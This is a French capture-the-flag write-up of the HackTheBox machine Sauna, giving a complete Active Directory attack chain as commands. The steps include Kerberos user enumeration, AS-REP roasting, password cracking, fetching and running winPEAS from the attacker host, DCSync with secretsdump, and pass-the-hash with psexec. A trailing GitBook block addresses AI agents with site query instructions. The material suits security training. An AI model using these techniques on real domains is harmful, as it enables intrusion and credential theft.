> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Compte rendu HackTheBox de Sauna

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**Compétences**:

* Fuite d'informations
* Énumération LDAP
* Énumération des utilisateurs Kerberos - Kerbrute
* Attaque AS-REP Roasting (GetNPUsers)
* Cassage de hachages
* Énumération du système - WinPEAS
* Identifiants AutoLogon
* BloodHound - SharpHound.ps1
* Attaque DCSync - Secretsdump (élévation de privilèges)
* Pass-the-Hash
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/d89c970c73c834a0d10302d97d06fd43179b88b3" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/8fe5cfbc1a5602a10994734f865e20a1d41a416b" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="/files/2f67c7e5aac18a22a2024f51d72614207ad37f07" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/cec79c75bbd88e652256532abfbd2ace1e4138db" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="/files/14a8a0e9c136ffa0f1bc3e24acd54b52e8290810" alt=""><figcaption></figcaption></figure>

## **Énumération et exploitation :**

### **Reconnaissance SMB:**

Utilisation de CrackMapExec pour identifier le système d'exploitation

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="/files/8296a3a5876b4ea3ff97dfbd6c9e35eb82c1fe35" alt=""><figcaption></figcaption></figure></div>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` .<br>

<figure><img src="/files/71754230c22b4660289621c53111339ba661fd71" alt=""><figcaption></figcaption></figure>

#### Exploration des partages SMB sur le réseau pour identifier des ressources partagées, mais aucun résultat.

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="/files/ec5d198a27c8a599becebaac0cb17154edeafd9c" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="/files/252da2b11816442e66dafdd9cf0bc6c3265f5d19" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="/files/456a280eb700713beb0dd42f282cc81f70b8d5dd" alt=""><figcaption></figcaption></figure>

### **Reconnaissance RPC:**

Utilisation de rpcclient pour interagir avec les services RPC et collecter des informations sur les ressources

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="/files/6f8d694571217da653cfce6077f972ff2f7d1d9d" alt=""><figcaption></figcaption></figure>

### **Reconnaissance LDAP :**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### Analyse des informations LDAP pour obtenir des détails sur la structure du domaine et les utilisateurs.

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="/files/c425f301371e9fdff7523da3f36b08ab64c0f3ab" alt=""><figcaption></figcaption></figure>

**Analyse des informations LDAP**

Analyse des détails sur la structure du domaine et les utilisateurs.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**Filtrage des utilisateurs LDAP**

Filtrer pour n'obtenir que les utilisateurs LDAP.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="/files/3bfdada6f82215e9fe0c0eb7eb78597c6e58883b" alt=""><figcaption></figcaption></figure></div>

### Liste des utilisateurs :

<figure><img src="/files/c3c2c719dc8a1a9e7a682b73ad394be12bbc9844" alt=""><figcaption></figcaption></figure>

#### Créez un `users.txt` fichier contenant des noms d'utilisateur potentiels.

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **Liste des utilisateurs via Kerberos**

En utilisant `kerbrute` pour lister les utilisateurs valides.

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="/files/ded8eb770fdbf6eaf7a0c08ecc955f94693e8c87" alt=""><figcaption></figcaption></figure>

### **Liste des utilisateurs via Impacket**

En utilisant `impacket-GetNPUsers` pour lister les utilisateurs valides sans mots de passe.

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="/files/ba3d60c7342a9d17e86f799975eaaec84c713e1a" alt=""><figcaption></figcaption></figure>

### Attaque par force brute :

Utilisation de John pour craquer le hash récupéré.

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="/files/e3c7bbb7fbf9b206a426e5f7136a0a3d2c8e159e" alt=""><figcaption></figcaption></figure></div>

#### Connexion et contrôle à distance

Utilisation de WinRM pour se connecter à distance.

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### Cela fonctionne, mais sans le marqueur pwned, il n'est pas possible de se connecter via WinRM.

<figure><img src="/files/50f79ff44e887ef9b5a85a4c9ff20aa5c3445efd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c547a864ad058ee8db8465bf9d5093137e0e06e4" alt=""><figcaption></figcaption></figure>

Dans cet exemple, la connexion est possible car l'utilisateur fsmith est membre du groupe /\*Remote Management Users

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="/files/5a44ade6cbb761a34f8f1588ab674c15c2cea9b8" alt=""><figcaption></figcaption></figure></div>

#### **Connexion avec Evil-WinRM**

Utilisation d'Evil-WinRM pour une connexion interactive via WinRM.

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="/files/91adce5b2a97f2ad3be8c4dd097a3b629921d30d" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges :

#### **Vérification des privilèges spéciaux :**

En utilisant `whoami /priv` pour vérifier les privilèges spéciaux.

<figure><img src="/files/ebda9358c89a8c699fc355b9ad542bf643de2fab" alt=""><figcaption></figcaption></figure>

#### **Recherche de nouveaux utilisateurs**

En utilisant `net user` pour rechercher de nouveaux utilisateurs.

<figure><img src="/files/77e03df294034c7683f8dda2561280ba4b6cccf8" alt=""><figcaption></figcaption></figure>

**Recherche d'identifiants pour l'utilisateur "svc/ loanmgr"**

### **Reconnaissance avec** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

Télécharger et exécuter l'outil de reconnaissance winPEAS

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="/files/11fb193dcdd8d2d3d95d7e9410f465ef4947d4c1" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/1b310eddce032e9e016d3b944445e896c78298f9" alt=""><figcaption></figcaption></figure>

### Validation des identifiants trouvés avec crackmapexec :

Des identifiants de connexion automatiques pour l'utilisateur `svc_loanmgr` ont été trouvés, avec le mot de passe

<figure><img src="/files/b2c87f0efff4600d1723766ace75a7027543d9b9" alt=""><figcaption></figcaption></figure>

#### Utilisation de crackmapexec pour valider que le mot de passe est correct.

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="/files/6a8b1d90399aa2ed7c4ed87866733262775a2209" alt=""><figcaption></figcaption></figure></div>

### Connexion avec les identifiants "svc/ loanmgr" :

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="/files/4c30543aaab5e88fb481c614a1c5c6704fb10611" alt=""><figcaption></figcaption></figure>

## Énumération du domaine avec BloodHound :

<details>

<summary>Installation de BloodHound :</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### Connexion à BloodHound avec les identifiants neo4j:neo4j.

<img src="/files/c30cce234bcf739139b98b029b55ccf975a5ec7a" alt="" data-size="original">

#### Lancement de BloodHound.

```bash
bloodhound &> /dev/null & disown
```

<img src="/files/9674f264f3a0d7bb3e5d159a01cf5537805e8998" alt="" data-size="original">

</details>

### Collecter des informations avec SharpHound.ps1

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="/files/55e6a4e2e6fb87ef4f6097013a692940ed37bd5e" alt=""><figcaption></figcaption></figure>

### Transfert des données collectées vers Linux et importation dans BloodHound

#### Créer un fichier zip avec les résultats de la collecte.

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### Télécharger le fichier zip depuis la machine Windows vers Linux.

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### Importer le fichier zip dans BloodHound.

<figure><img src="/files/40fae4b3cfa39f9dc3a7852362d6c7de0fe71fbc" alt=""><figcaption></figcaption></figure>

### Analyse et exploitation :

#### Filtrer pour trouver le chemin le plus court vers l'administration

<figure><img src="/files/42dffafc4fe59e882c666765d79daff16a4e5790" alt=""><figcaption></figcaption></figure>

#### L'outil indique la possibilité d'effectuer une attaque DCSync.

<div data-full-width="true"><figure><img src="/files/63a9d391f016d31ce40094817d00137a8068a5c6" alt=""><figcaption></figcaption></figure></div>

## Vulnérabilité de l'attaque DCSync :

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### Utilisation de secretsdump pour obtenir le hash NT de l'utilisateur administrateur.

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="/files/536e40ee09f4a036da8e883c63309a7f3a24725e" alt=""><figcaption></figcaption></figure>

#### Utilisation de psexec pour exécuter cmd en tant qu'administrateur à l'aide du hash NT.

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="/files/e5690a22e98fc2d0a94584755662dea079f43488" alt=""><figcaption></figcaption></figure>

### Drapeau final :)

<figure><img src="/files/fec166477b254b1d9bbdeb650e52abe962936721" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3d1379121ca753b65e14251a5f1bd977fd7b0d5c" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
